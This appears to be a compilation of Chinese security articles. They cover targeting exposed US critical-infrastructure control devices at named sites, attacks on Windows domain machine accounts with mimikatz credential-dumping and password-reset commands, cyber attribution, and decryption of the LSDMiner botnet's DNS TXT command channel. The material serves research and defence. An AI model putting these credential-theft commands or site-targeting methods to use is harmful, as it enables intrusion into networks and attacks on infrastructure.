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受影响最严重的城市是：

开放的端口：
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前 5大 ICS端口：

1911

47808

4911

502

44818

前 5大其它端口：

80

443

8080

8443

22

21.6 研究成果

如上所见，很多设备在端口 80、443或 8080都暴露了管理面板。远程技术人员可以在不必实际到达

现场的情况下接触管理设备。然而，从安全的角度来看，这个解决方案应该增加其它措施。默认或弱

密码是对工控设备或物联网设备最常见也最不负责任的做法。开源情报同时也包括阅读文档和系统指

南以获取相关运作情况以及应该使用哪些功能以获取更多信息或完整的访问权限。
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已知默认凭证的完整清单见：

http://www.critifence.com/default-password-database/

有很多面板在不安全的端口 80或 8080运行。
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另外，也可从登陆面板获取其它有价值的线索，其中包括站点名称、组织机构或工厂的图片，这样

我们就能将结果缩小到某个具体的品牌。

某些设备暴露了无需认证即可发现的自身的网络配置、诊断信息、统计数据或设置。这是另外一

种指标，可以帮助我们获取所运行基础设施的完整图片。
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如果某人已经建立了对网络的访问权限并查找潜在的工控设备，那么所暴露的信息就能够起到重

要作用，它包括 IP地址、子网掩码、网关地址或名称服务器。在很多情况下我看到使用外部 DNS系

统，从而为多种不同的攻击敞开大门。

在工控设备上运行无需认证的 VNC也并非最佳想法。这是根本不应该发生的事情，这是个明显的

错误或者表明对自己的基础设施缺乏了解。从攻击者的角度来看这简直是小菜一碟—---他无需验证即

可获得访问权限并完全控制该设备。当然，我们不会将其称为攻陷整个设施但它肯定是一个好的开端。

所有的 VNC都在端口 5900上以人机交互 (HMI)的身份运行。
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VNC并非设备可能暴露的唯一方式；某些制造商设备上的端口 80在无需验证的情况下返回 HMI。

其中某些网站要求登录进行交互但它并非必需步骤。
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你可能注意到了，判断某个建筑物或设施的连接和地理定位信息的另外一个指标是 HMI。HMI本

身披露了对设备的使用，因此很容易判断出是洗车场某个废水处理厂的设备。屏幕上显示的技术和品

牌也披露出很多规格以及设备的用途。

地理定位要仅针对关键基础设施发动攻击，我们需要排除不具备战略意义的设备。例如，管理公

园喷泉的设备可能遭暴露但攻陷它并不会带来任何利益，因此对于任何人而言它都不是关键基础设

施。那么，如何找到负责关键基础设施的设备和建筑物？你可以使用生成的地图并查看目标附近的每

台设备如城市或政府建筑物。第二种方法就是通过逆向工程查找设备的部件如车站名称、说明或未知。

如上所述，Niagara Fox和 BACnet有时候会披露不该披露的信息，包括街道名称、未知或设施的名称。

结合其它指标信息，我们就能找到正确的建筑物。IP地理定位也并不一定是精确的，它不会指向确切

的位置但能够准确地显示出城市，而且有些时候能够显示出该设备可能位于哪条街道。为了验证我的

说法，我将列举一些案例，说明我如何通过利用所收集的信息找到对某国或某城市而言具有战略意义

的建筑物。水和废水系统行业如上所述，水和废水系统行业也属于关键基础设施。当它们遭到破坏时，

我们将无法获取饮用水从而引发企业和社会问题。在这个案例中，Niagara Fox设备的 “station.name’’

字段中披露了设施的名称。

293



政企安全 如何利用开源工具收集美国关键基础设施情报

IP 地理定位指向佛蒙特州伯林顿的夏日街道 14 号 (IP geolocation points to 14 Summer Street

inBurlington, Vermont)，距离最近的废水工厂 1.5英里。
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有了这个信息后，下一步就是通过扫描资产和查找网络上的更多资产来准备实施物理监控和主动

收集情报。化学制品行业当你管理很多站点时，你必须知道站点连接到何处。这个案例表明舒适是安

全的大敌。该站点的位置被暴露在设备中，而且甚至不需要正确的地理定位就能获取该建筑物的位置

信息。

“station name’’包含了所在地 ‘‘珍珠河” (Pearl River)、所在州 ‘‘纽约” (New York)和组织机构名称

‘‘辉瑞” (Pfizer)。

296



政企安全 如何利用开源工具收集美国关键基础设施情报

从他们的官方网站来看，我们获悉它是辉瑞的九大主要研发站点之一。
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医疗行业所有医院的设备都非常脆弱而且服务破坏可导致出诊顺序紊乱或者引发不可挽回的健康

问题如死亡等。这些设施应该执行特殊的安全控制并不允许远程连接。医疗行业错误配置的一个例子

是 Piedmont医院。在本案例中，确切位置遭暴露—---街道、城市和所在州。

这是测试地理定位能力的很好的一个例子—---了解设备的确切位置后我们就能查看 IP地理定位是

否准确。
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在本案例中，距离目标 3.5英里远—---西春街 2151号 (2151 West Spring Street)。
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在一些案例中，你可以从官方网站上看到建筑物的内部情况，每层楼和每个房间都一览无余，包

括会议室、存储和工厂运作等。它是我们获取精确情报信息的又一个指标。你可以看出如果了解了该

设施的内部情况会掌握多少有价值的信息。有人可能能够连接到该设备并实施破坏，当然这也取决于

俄设备的实际用途。
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能源行业能源行业非常具体，因为它高度依赖于其它行业如制造业或政府设施。没有稳定的能源

供应，社会和企业就无法正常运转。基于此前的网络攻击的情况来看，它是遭受攻击最多的行业之一，

例如乌克兰电力网遭到攻击后导致停电数小时并可能使所有城市瘫痪。有时候，我们无法确定 IP地

理定位信息，它只是指向某个国家的中心。如果不存在其它之标的，我们就无法找到它的位置信息。
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“station name’’清楚地说明了设施的名称以及设备可能具备的功能 ‘‘核心’’。
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温斯顿·塞勒姆（Winston-Salem）有一家著名的发电厂，最近进行了翻新并举办了许多活动。

制造业/国防工业基地行业很多国防承包商都协助处理机密材料、制造设备或以其它方式进行合作。

如果他们的系统遭暴露，那么就会危害国家安全。确定地理位置后，我们就能找到该公司的名称，从

而找到某个设施。
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地理定位指向宾夕法尼亚州的克拉克斯峰 (Clarks Summit)。最近的洛克希德·马丁 (Lockheed

Martin)公司距离 11英里。
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从官网可获得关于该具体设施及其作用的相关信息。

对比该研究结果和谷歌地图提供的真实视图，我们可以从官网找到这个建筑物。
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我将以上提及的研究成果都告知相关组织机构，但并未收到任何回复。

21.7 总结

即使是老练的网络工程师，维护关键基础设施和工控设备的安全也并非易事，而且错误时时都在发生。

当在建造基础设施时未考虑安全性，那么就会将其暴露于网络攻击和间谍活动中，尤其是当你在其中

任何一个关键行业行动时。任何针对设施的网络攻击可能引发愤怒、给企业造成金钱损失甚至导致命

案，我们需要认识到，这些行业相互依存而且是所有人日常生活的必需品。我总结了为何暴露在互联

网上的工控设备如此多的四种原因：

某些设备是用于追踪威胁行动者的蜜罐—---研究人员设置模拟工控基础设施的陷阱以查看追逐这

类型设备的人员以及在侦查和攻击阶段所使用的战术、技术和程序 (TTPs)。其中一个 ICS/SCADA蜜

罐例子是 Conpot。

技术人员偷懒—---参与工控设备安装的技术通常允许远程连接，这样技术人员就不必在每次需要

更改配置时实际到达现场。

错误配置—---每个人都会出错，而错误的防火墙设置可能是设备遭暴露的罪魁祸首之一。然而，

追踪这些错误并及时做出反应起着重要作用。

金钱—---它和前一个 ‘‘偷懒’’的原因相关。每次技术人员到访现场都会产生支出。组织机构想要

节约一切可节约的钱财，通常这个被节约的领域就是安全。

很遗憾，我们无法预知所有的事情，但我们可以积极地对抗可能暴露设施或设备信息的错误信息

行为。当然，当设备被暴露在互联网上时，就可能招来各种攻击，从脚本小子到有经验的脚本小子不

一而足。

但我们可以采取一些防范措施：
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执行信息分类计划—---威胁行动者实施间谍或侦查活动使用的详情是什么？这种数据应该限制访

问权限且设置为无法公开获取；

维护详尽的清单—---持续记录环境中发生的变化并试着理解潜在的外部攻击向量；

主动监控—---监控外围网络安全设备并利用主动侦查技术（如端口扫描）

使用开源情报收集—---收集尽可能多的关于攻击者可能用于攻击基础设施的信息。地理定位数

据、设备详情或个人数据对于威胁行动者而言都是有价值的信息。尝试了解任何危害设施安全的方法。

21.8 结论

本研究仅展示了可能构成关键基础设施的 2.6万台设备中的 5个设备案例。这些设施提供的设备或服

务确保国家的持续性并发挥着重要的社会作用。在商业行业的情况下，企业有责任确保自身网络的安

全，但对于关键基础设施而言，保护它的安全事关公众利益。利用情报收集方法可以特别关注所在国

的关键基础设施，了解威胁行动者可能会收集哪些信息。另外，本文所展示的方法可用于收集对手网

络潜力和能力数据以及关键基础设施的战略位置。参考资料及补充资料

https://www.cia.gov/news-information/featured-story-archive/2010-featured-story-archive/open-source-

intelligence.html

https://www.dhs.gov/cisa/critical-infrastructure-sectors

https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-

went-out.pdf

https://dragos.com/wp-content/uploads/CrashOverride-01.pdf

https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf

Kamerka地址：https://github.com/woj-ciech/kamerka

原文链接 https://www.icscybersecurityconference.com/intelligence-gathering-on-u-s-critical-infrastructure/

题图：Pixabay License
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Windows域中特殊的用户-计算机对象攻防

作者：杨明强@平安银河实验室

来源：http://galaxylab.com.cn/windows域中特殊的用户-计算机对象攻防/

当普通的计算机加入域中时，使用 ADExplorer查看该计算机的属性：

可以看到属性中包含了该计算机的名字 ($结尾)，创建者的 sid，最后密码设置时间，说明在计算

机加入域的过程中，windows域为其创建了密码，用于建立与域控之间的安全通道。

如果我们拿到一台域内计算机，并没有域账号登录，此时可以切换到 system权限，klist
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可以看到已经有票证在里边，这里其实就是利用的计算机对象的票证，我们可以利用该票证查看

域内的管理员，域控，域用户等等信息。

如何查看计算机对象的密码呢，可以借助 mimikatz，有两种查看方式：

privilege::debug

sekurlsa::logonPasswords

或者

privilege::debug

token::elevate

lsadump::secrets
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可以看到计算机对象的密码是 120个字符，240字节，有时候密码包含不可见字符，会以十六进制

形式显示，类似于如下所示：

有时候虚拟机中的计算机切换到以前快照，由于当前计算机密码和域控中保存的密码不一致导致

建立安全通道失败
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解决的方法大致分为以下几种：

1. 重新加入域

2. 修改及计算机对象密码，使计算机对象密码与域控中保存的密码相同。

第一种方法可能导致计算机中数据丢失，下边介绍第二种方法，修改计算机对象的密码。

官方提供修改计算机对象密码的工具有两种：

reset-ComputerMachinePassword

nltest /sc_change_pwd:galaxy.local

以上两种工具只能在已建立安全通道的情况下修改密码且只能修改随机密码，密码用户不能指定。

分析 nltest，发现最后调用了 netlogon服务，具体地，就是调用了 c:\windows\system32\netlogon.dll

的 NlChangePassword函数。
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通过调用函数 NlGenerateRandomBits产生随机密码，因为 netlogon服务在 lsass进程中，我们使用

windbg进行双机调试，在 RtlUnicodeString上下断点，修改 SourceString内存值为我们想要的密码，比

如这里为 120个 a：

成功修改客户机与域控中计算机对象密码为 120个 a。
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下边介绍计算机对象在域渗透中的应用：

1. 维持权限，隐藏后门

默认情况下，计算机对象的密码每 30天修改一次，但这是客户端自己设置的，并不受域控影响，

我们可以设置计算机对象一直不修改密码

修改 DisablePasswordChange为 1可以禁止计算机自己修改密码，修改MaximumPasswordAge可以

更改默认更新密码的间隔。

这样下次我们想登陆进来的时候可以直接用计算机对象的密码创建白银票据登陆系统：
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2. 提权到域控

如果计算机对象在一些高权限的组，那么就可以获取该组的权限。

比如如下计算机 test1在域管理员

那么我们就可以 hash传递，使用 test1的身份获取访问域控的权限。
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这个常用在对邮箱服务器的攻击上，因为邮箱服务器默认属于 Exchange Trusted Subsystem组，对

整个域具有写 DACL的权限，默认可以拿到域控的权限。

3. 利用计算机创建者身份

使用普通域用户 test将 test1计算机加入域，查看 test1的属性，mS-DS-CreatorSID可以看到创建者

的 sid：
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查看 test1计算机的 DACL：

可以看到多了重置密码的权限（更改密码需要原来的密码才能更改，比较鸡肋，重置密码可以在

不知道原来密码的情况下重置密码）。如果我们拿到了 test用户的权限，就可以使用重置密码的权限重

置 test1计算机的密码，如果 test1在高权限的组中，可以完全获得该组的权限（见情况 2）

注意：此处重置的是域控中的计算机对象的密码，并没有重置客户端密码，这会导致信任关系失

败。

使用以下命令可以重置计算机对象的密码为特定值：

Set-ADAccountPassword test1$ –NewPassword (ConvertTo-SecureString -AsPlainText –String “aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”

-force)

4. 打印机漏洞

微软的 spoolsv.exe注册了一个服务和若干个 rpc。允许认证用户远程调用，其中 RemoteFindFirst-

PrinterChangeNotificationEx这个函数运行传进一个 unc路径，打印机服务就会去请求该 unc路径。由

于打印机是以 system权限运行的（打印机 spooler服务运行在 system权限下），所以我们访问打印机

rpc，迫使打印机服务向我们发起请求拿到的 net-ntlm hash是机器用户 hash。这样我们就拿到了使任意

计算机（域控、邮件服务器对象）向任意机器发起 SMB认证的权限。如果我们控制了一台无约束委

派的计算机，就可以实现完全控制整个域的目的。

5. CVE-2018-8581

这个漏洞最终可以实现邮箱服务器对象向任意用户发起基于 HTTP的 NTLM认证，由于 HTTP到

LDAP可以实现中间人攻击，我们可以中继到域控，利用邮箱服务器的 writeDACL特性，可以同步域

内用户 hash。

参考资料：

https://adsecurity.org/?p=2753

https://adsecurity.org/?p=280

https://adsecurity.org/?p=2011

https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-

accounts

https://blog.netspi.com/machineaccountquota-is-useful-sometimes/
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22.0.1 关于平安银河实验室

银河实验室（Galaxy Lab）是平安集团信息安全部下的一个相对独立的安全实验室，主要从事安全技

术研究和安全测试工作。团队内现在覆盖逆向，物联网，web，android，ios，云平台区块链安全等多

个安全方向。

22.0.2 关于作者

杨明强，平安银河实验室资深安全研究员，从事 windows, web，红蓝对抗相关安全研究，擅长 windows

提权、Windows域安全；

22.0.3 微信公众号二维码
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浅谈网络攻击的“归因”

作者：baronpan

来源：baronpan

攻击的归因（Attribution）总是作为威胁分析师最为头疼的问题，这也是近半年来我时常思考的一

个问题，即使我在这块并不擅长。巧合的是，最近在 Twitter上也看到部分讨论归因的推文，我觉得有

些观点还是比较认同，所以决定写一篇自己的思考。由于自身水平实在有限，只能作为浅谈来抛砖引

玉了。

23.1 有趣的观点

一切源于名为 Chris Rohlf的安全研究人员，其针对 45名 CISO和安全主管对于攻击者归因的调查问

卷统计，原文：https://struct.github.io/attacker_attribution.html。

原始推文：https://twitter.com/ihackbanme/status/1190757399637872640

原始推文：https://twitter.com/stvemillertime/status/1191009868716617728

从我来看，可能作为政府相关的情报机构、监管和执法机构最为关心归因问题，其次也许就是威

胁分析或情报分析人员了吧。网络攻击和防御本来就是一场攻防双方的较量，只有参与游戏之中的人

也许才会更加关心归因。
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23.2 归因的层次

上一节的归因实际指的是攻击者身份的归因，所以其更为像政府、执法等机构所关注。攻击者身份的

归因可能是定位到一个具体的人、组织、公司，也有可能只是攻击者拥有的设备或者 IP地址。

这里我引用美国 DNI在其 Cyber Threat Framework的主页上介绍 Cyber Attribution的一些观点（原

文档见 https://www.dni.gov/files/CTIIC/documents/ODNIAGuidetoCyber_Attribution.pdf）。

其文档第一段就说明了：

网络攻击的归因分析是困难的，但不是不可能。没有简单的技术处理或自动化解决方式来解决归因问题。

归因的判定最后会落到3个层面：1. 初始地域来源，例如国家；2. 一个特殊的设备或网络ID；3. 相关的个人或组织，这个也是最困难的。

而对于威胁分析人员来说，大部分的归因分析主要在 TTP层面，通过寻找历史 TTP和当前事件

TTP的重叠来判定攻击来源是否来源同一实体，或具有相关性。所以，在 TTP层面探讨归因问题，往

往只需要映射到一个虚拟实体即可。但是，如果数据基础足够丰富，往往也能映射到上面所说的三个

层面的结论。

23.3 归因的例子

最为经典的例子我觉得应该是美国 DoJ在 2018年 9月公开对朝鲜一名黑客成员和 Lazarus APT组织

的指控书，其指控书长达 179页，详细阐述了调查人员如何将历史的 APT攻击事件和 Lazarus APT组

织以及朝鲜黑客成员通过电子证据联系到一起，从中也可以看出其中 APT事件调查和归因分析所基

于的数据基础。

从报告内容来看，其依赖于至少长达十年的互联网历史数据的回溯能力，并还原了多个攻击事件

的时间线，以及攻击者，攻击者使用的互联网资源实体，被攻击实体之间重叠的关联关系。

在报告的开头，其声明了整个分析过程所依赖的数据来源，包括：

针对攻击事件和被攻击目标的事件响应和取证证据

邮件、社交网络数据、在线互联网应用和服务数据

第三方安全厂商提供的威胁数据和分析结果

除上述明确的数据来源外，从指控书列举的分析过程和结论，推测其至少还拥有其他来源的数据，

包括：

公开来源威胁情报

网络基础设施的历史信息，域名注册，动态域名注册，DNS记录等

搜索历史，包括搜索引擎，社交网络应用搜索记录等
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终端设备指纹和设备访问互联网实体的记录

IP维度的访问互联网实体记录

黑客论坛，黑客技术交流社区等相关数据

安全厂商或团队的协助

除此以外，这两天韩国安全厂商发推文披露其确认了近期印度核电厂被攻击事件中攻击者所使用

的设备终端和 IP地址。

美国 DNI在其 Cyber Attribution文档中也给出了从五个不同维度分析和评估地域层面的归因判定

示例。
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23.4 归因的方法

这里依然首先以 DNI的 Cyber Attribution文档内容为基础进行介绍。

23.4.1 指标

DNI认为归因分析主要依赖于以下 4个指标：
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Tradecraft：攻击者在实施攻击时所遵循的模式，相当于 TTP，因为偏好和习惯相对于技术工具来

说更难以改变。但是值得注意的是，一旦相关技术被公开，则可能被模仿而变得不可确定。

Infrastructure：攻击者可以通过购买，租用，共享和攻击失陷来构建其通信网络。（易变的）

Malware：攻击者开发和制作的攻击武器、购买商用工具、定制公开或开源工具，甚至是模仿或

盗用其他攻击组织的工具。（易变的）

Intent：攻击的意图和动机。

除了上述指标外，其也会参考外部情报源和公开情报。

23.4.2 方式

归因分析实际有很多种方式，包括通过 HUMINT、SIGINT的方法，以及社工、反制等手段。这里仅

仅讨论基于上述指标类型的技术性分析的基本方式和实践方法。

DNI提及归因分析的实践方式：

Looking for Human Error：找到攻击者犯下的错误，包括遗留的测试代码、编译信息，错误配置的

C&C服务器或有漏洞的通信协议等，这些也可以称为 OpSec error或 OpSec mistake。

Timely Collaboration, Information Sharing, and Documentation：及时的响应和协作，也就是越早发

现和响应正在发生的攻击活动越有利于归因分析，包括日志的保留、数据的恢复、内存的取证等都能

为最终的结论提供帮助，事后的回溯分析总会因为数据和证据的缺失造成影响。但这一点也是比较难

以完全做到的，特别是 APT类攻击。

Rigorous Analytic Tradecraft：严谨的分析，DNI提及了应当使用 Analysis of Competing Hypotheses

方法来消除和降低分析的偏差。

Analysis of Competing Hypotheses（ACH，竞争假设分析）以下列举了一些参考资料供详细了解 ACH 方法：https://isc.sans.edu/forums/diary/Analysis+of+Competing+Hypotheses+ACH+part+1/22460/https://www.digitalshadows.com/blog-and-research/wannacry-an-analysis-of-competing-hypotheses/https://medium.com/@eclecticiq/how-to-structure-analysis-of-competing-hypotheses-ach-f5c15de5a4a5https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/books-and-monographs/psychology-of-intelligence-analysis/art11.html

归因分析是最容易因为分析师的主观意识而影响证据收集的方式和方面，最终导致结果的不准确

性。任何表象的证据都可能干扰实际的判定。

那么具体是如何实现归因分析的呢，DNI提及了从三个层面：

de-layering the attribution assessment：分层评估，包括地域、人或组织、资助背景。

providing the confidence level：提供结果的可靠性级别，分为 High/Moderate/Low。评估可靠性会

从：证据的可靠性和及时性，逻辑联系，证据的类型（直接，间接，间接推测，上下文相关的）三个方

面。有时候也会出现多种推论的情况。

Identify Gaps：在无法获得更多证据或得到确切的结论时，需要明确说明。

从我来看，归因需要从时间线的维度评估包括地域特征、语言特征、人文和宗教，甚至包括地缘政

治、军事冲突、外交活动等。寻找证据的直接关联性或间接关联性，考究是攻击者犯下的错误，还是

刻意制造的 False Flag（mistake or false flag）。

归因分析也就是寻找实体世界和虚拟世界的联系，并且通过结合多个维度的证据分析来消除 ‘‘不

确定性’’。
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23.5 最后

在最后也介绍下 NSA及其盟友过去在归因分析上的一些工作。

首先从一份泄露的斯诺登文档开始，名为《Pay attention to that man behind the curtain: Discovering

aliens on CNE infrastructure》，其是由加拿大国防部下的通讯安全局（CSEC）的 Counter-CNE部门（CCNE）

的研究成果。原始链接可见 https://snowdenarchive.cjfe.org/greenstone/collect/snowden1/index/assoc/HASHfcfa.dir/doc.pdf。

23.5.1 WARRIORPRIDE

一个 CNE平台，简称（WP），其支持多种插件用于目标主机的探测和信息收集。

其中涉及的几个插件：

Slipstream : machine reconnaissance

ImplantDetector : implant detection

RootkitDetector : rootkit detection

Chordflier/U_ftp : file identification / retrieval

NameDropper : DNS

WormWood : network sniffing and characterization

其中示例了 Slipstream收集服务和驱动信息的返回数据，以 xml形式。（具体可以看原始 PDF，这

里就不贴图了）

23.5.2 REPLICANTFARM

REPLICANTFARM是一个基于特征指纹的系统，用于对WP的输出进行过滤和标记，简称 RF。其用

于定制和管理用于特征检测的签名或模块。
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其用于提取以下类型的指纹特征：

Actors

Implant技术

基于主机的特征

基于网络的特征

主要模块如下，PDF中也示例了如何通过定义模块来过滤可疑的进程：

其内部规则是用.pl后缀文件实现，其格式为 mod_数字 _组织缩写 _恶意代码名称.pl形态。

RF其他的签名还包括已知攻击组织的文件名，进程名，基础设施（IP、DNS），如果详细看下图，

可以了解其规则库的命名，特征指纹以及跟踪的 APT组织。
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23.5.3 TERRITORIALDISPUTE

又称 TeDi，是之前 Shadowbrokers泄露的 NSA windows工具包的一个模块，其和 RF一样用于识别目

标攻击组织。从其定义的规则类型可以判断出具体的特征类型。
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除此以外，其中还存在一个 sigXX库，每个 sigXX代表一个攻击组织。这个曾经有国外安全厂商

具体分析过，详细可见：https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf。

这里就不多解释了。
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逆向解密 LSDMiner新样本利用 DNS TXT通道传输的数据

作者：J!4Yu

来源：https://www.anquanke.com/post/id/193116

24.1 1. 概述

10月中旬，部门老司机发给我一个 LSDMiner(旧称Watchdogsminer)最新活动中的一个样本 (MD5:

114d76b774185b826830cb6b015cb56f)。当时大概看了一眼，里面用到了 DNS TXT 记录来传输经过

AES加密的数据，手头忙别的事，就先搁下了。近来捡起来分析，Google搜索样本中用到的一个函数

NewAesCipher128()，发现国外安全公司 Anomali已经分析过这个 Case：

Anomali的 Blog：Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect

跟以前的版本一样，LSDMiner的样本仍然是用 Go编写，但是内部代码结构以及具体功能已经跟

旧版本有很大差异。明显的差异至少有以下 3点：

放弃了使用 Pastebin 作为恶意 Shell 脚本的下发通道，转而使用自己维护的 CC 服务器 (

*.systemten.org )来承载相关恶意活动；

集成了多个漏洞 Exp，增强传播能力，详见 Anomali的 Blog；

利用 DNS TXT记录下发多种经过 AES加密的数据，这些加密数据有以下几种：

最新的恶意 Cron任务用到的恶意 Shell脚本下载 URL，可以写入失陷主机的 Cron任务；

最新的恶意样本版本号，失陷主机上已有的恶意样本会对比自己的版本号以决定是否 Update；

最新的恶意 Shell脚本；

一系列最新二进制样本的下载 URL。

其他恶意行为按照常规的逆向分析方法按部就班分析即可，而关于加密的 DNS TXT数据的逆向与

解密过程，Anomali的 Blog中描述一带而过，并没详述，按照他们 Blog中简单的描述，并不足以解密

这些数据。本文就以上述样本为例，解析一下如何通过逆向样本一步一步解密这些数据。
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24.2 2. 恶意样本执行流程

恶意样本总体的执行流程分为 3步：

1. 通过 DNS TXT通道获取用来篡改失陷主机 Cron任务的恶意 URL，被篡改后的 Cron任务会定

期访问恶意 URL获取最新的恶意 Shell脚本；

2. 扫描当前 B段网络，存活的 IP尝试利用 4种方式入侵并植入，4种方式有：

SSH爆破；

Redis未授权访问；

Jenkins RCE漏洞 (CVE-2019-1003000)利用；

ActiveMQ RCE漏洞 (CVE-2016-3088)利用

3. 持久驻留失陷主机、释放矿机程序挖矿。

在最后第 3步，也会通过 DNS TXT通道获取最新恶意 Shell脚本以及二进制样本的下载 URL。本

文重点分析 DNS TXT通道数据的获取以及解密。

先看一下恶意样本通过 DNS TXT通道获取最新的用来篡改失陷主机 Cron任务的恶意 URL的整体

流程：
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可以看到样本首先从 cron.iap5u1rbety6vifaxsi9vovnc9jjay2l.com 获取数据，然后用 AES-

128bit 算法将其解密。再看一下从 cron.iap5u1rbety6vifaxsi9vovnc9jjay2l.com 获取的加密数

据：

DNS TXT响应是一串字符，而且是经过Base64编码的字符串 A7PZtADnYAEMEArGhmA9xQihPq9TRz4QigssjeOmUnQ

。函数 **github_com_hippies_LSD_LSDC__AesCipher128_Decrypt()**中的处理流程可以证实这一点：
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到这里可以看出，要用 Go语言编程解密这些数据，需要 3步走：

1. Base64解码 DNS TXT的响应字串，得到待解密的二进制数据；

2. 初始化 Go AES-128bit解密句柄；
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3. 解密 Base64解码过的二进制数据。

24.3 3. Base64解码

先用 Linux自带的命令行工具 base64尝试解码：

有点蹊跷，不能用 base64命令直接解码，看来用的并不是标准的 Base64编码。这里先补充一下关

于 Base64编码的两点背景知识：

1. 参考: RFC4648 ，Base64 编码主要有两种：标准编码 (StdEncoding) 和 URL 安全的编码 (UR-

LEncoding)。标准 Base64编码的编码字符表是 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghi-

jklmnopqrstuvwxyz0123456789+/，而 URLEncoding的编码字符表则把 StdEncoding编码字符表中

的 +替换为 –，把 /替换为 **_**，即 *ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-

_*；

2. Base64两种编码的默认填充字符都是 =，但也可以选择不填充任何字符。

上述两个知识点，在 Go的 Base64标准库文档开头就有说明：

两个知识点各自分为两种情况，这样组合起来就有 4种细分的 Base64 Encoding：
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那 LSDMiner 样本中具体是用什么样的 Base64 解码呢？需要先看一下样本中 Base64 解码的

Encoding 句柄是如何生成的。在函数 **github_com_hippies_LSD_LSDC__AesCipher128_Decrypt()**

中，是先拿到 Base64解码的 Encoding句柄再进行解码：

通过上面的 xrefs信息，可知这个 b64EncodingObj是在函数 encoding_base64_init()中生成的。进

入这个 init函数，b64EncodingObj生成过程如下：
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可以看到这样两点：

1. 调用 base64.NewEncoding()函数时，传入的参数是 URLEncoding的编码字符表，即样本中用的

是 URLEncoding形式的 Base64编码；

2. 调用 base64.URLEncoding.WithPadding()函数时传入的参数是 -1，即 base64.NoPadding，不带

填充字符，即 base64.RawURLEncoding。

至此就可以解码 DNS TXT响应的字符串了。测试代码与结果如下：
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24.4 4. AES解密二进制数据

通过前面粗略的逆向分析，我们仅知道样本中用了 AES-128bit算法来解密数据，但这些知识远不足以

解密上面用 Base64解码得到的二进制数据。AES加密算法此处不详述，可以自行搜索相关资料，本文

只关注如何用算法来解密数据。要想正确解密数据，还需要确定以下 AES解密算法相关的几个要素：

AES密钥；

AES解密用到的 IV向量；

AES解密算法的分组密码模式；

AES解密算法的 Padding方式。

上面的逆向分析过程中，我们注意到样本中调用了函数 crypto_cipher_NewCBCDecrypter()，可

以确认样本中用到的分组密码模式是 CBC。

在分析确认其他几个要素之前，我们先捋一下两个关键函数的逻辑：初始化 AES 解密句柄的

NewAesCipher128()和执行 AES解密操作的 AesCipher128_Decrypt()。

24.4.1 4.1 NewAesCipher128

首先，样本调用该函数的时候传入一个参数，即待查询DNS TXT记录的域名字符串 cron.iap5u1rbety6vifaxsi9vovnc9jjay2l.com：
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在函数内部先初始化一个 crypto/md5句柄（代码片段对照左边标准库函数 crypto_md5_New()即

可理解)：
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然后将传入的域名字符串由 string 类型转成字符切片并写入 MD5 digest 对象，再通过

md5.digest.Sum()函数做一次MD5 Hash计算 (注意 Sum函数传入的参数为 nil )：

再把这轮MD5计算的值通过 hex.EncodeToString()转成 32-bytes的字符串，即常规的字符串形式

的MD5值。然后取出再取出这个MD5值的前 16字节，保存到变量 (r1HashStr_16bytes)中备用：
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接下来，样本又做了一次 MD5计算，并且取出这一次 MD5值的后 16字节，保存到变量中备用

(注意，这一次MD5计算之前没有调用 md5.dgest.Write()来写入新字节，并且调用 md5.digest.Sum()函

数时依然传入参数 nil ):

后面可以看到，第一次MD5计算后取出的前 16字节数据，被作为 AES密钥传入 aes.NewCipher()

函数来初始化 AES解密句柄：

而第二次MD5计算后取出的后 16字节数据被保存起来，作为本函数返回值的一部分返回，接下来

作为AES的 IV向量传给后面函数AesCipher128_Decrypt()中调用的 crypto_cipher_NewCBCDecrypter()

函数。
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24.4.2 4.2 AES的 Padding方式

前面内容分析确认了 AES的 Key、IV以及分组密码模式，还需最后确认 AES算法所用的 Padding方

式，即可正确解密数据。这一个点需要逆向分析函数 AesCipher128_Decrypt()才能确认。

AES加密算法用到的常见的 Padding方式有以下几种 (参考：对称加密算法和分组密码的模式)：

ANSI X.923：也叫 ZeroPadding，填充序列的最后一个字节填 paddingSize，其它填 0。

ISO 10126：填充序列的最后一个字节填 paddingSize，其它填随机数。

PKCS7：填充序列的每个字节都填 paddingSize。

LSDMiner中用到的 Padding方式就是简单的 ZeroPadding，通过函数 AesCipher128_Decrypt()中

解密操作后的 byte.Trim()函数即可确认：

24.4.3 4.3补充说明—---关于二轮 MD5值计算

上述分析过程中描述过，恶意样本为生成 AES解密用到的 Key和 IV向量，对相应域名字符串连续做

了 2轮MD5 Hash计算，这一点 Anomali的 Blog中也提到了，只是他们没提到 Key和 IV具体的生成

过程。

然而样本中连续两轮的 MD5计算的值其实是相同的—---这是 Go语言特有的 MD5计算方式，参

考 hash – Golang md5 Sum()函数，演示代码如下：
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这一点不知道是恶意软件作者的失误，还是有意为之。倒是容易给逆向分析造成困扰，因为乍一

看 ‘‘两轮MD5计算’’，很可能直观认为应该得出两个不同的MD5值，并分别截取一段做 AES解密的

Key和 IV向量，没想到两次MD5计算得出相同的值。

24.5 5. 完成解密

基于以上分析，就可以编写程序完成我们想要的解密工作了。完整的 Go语言代码已上传到 Github：

https://github.com/0xjiayu/LSDMiner_DNS_TXT_Decrypt

运行结果如下：
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当前解密出来的 Cron URL是 lsd.systemten.org，在样本中如果整个 DNS TXT数据通道操作过程

有任何异常而无法解密出最新的 Cron URL，备用的默认值也是这个 lsd.systemten.org :

24.6 6. 总结

文章开头的截图中已经显示过，如果样本用 net.LookupTXT()函数检索 DNS TXT记录失败，还会跳

转到另外一个代码分支，去用 DoH(DNS over HTTPS)向 CloudFlare的 DoH服务器请求相应的 DNS

TXT记录：
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我们用命令行工具测试一下，可以看到这种方式也有效：

利用 DNS TXT记录和 DoH下发恶意数据来辅助恶意样本的运行，可以进一步提升整个 Botnet基

础设施的健壮性和运营的灵活性，鉴于这个 Botnet存活已久并不断更新，应该引起业界的持续关注。

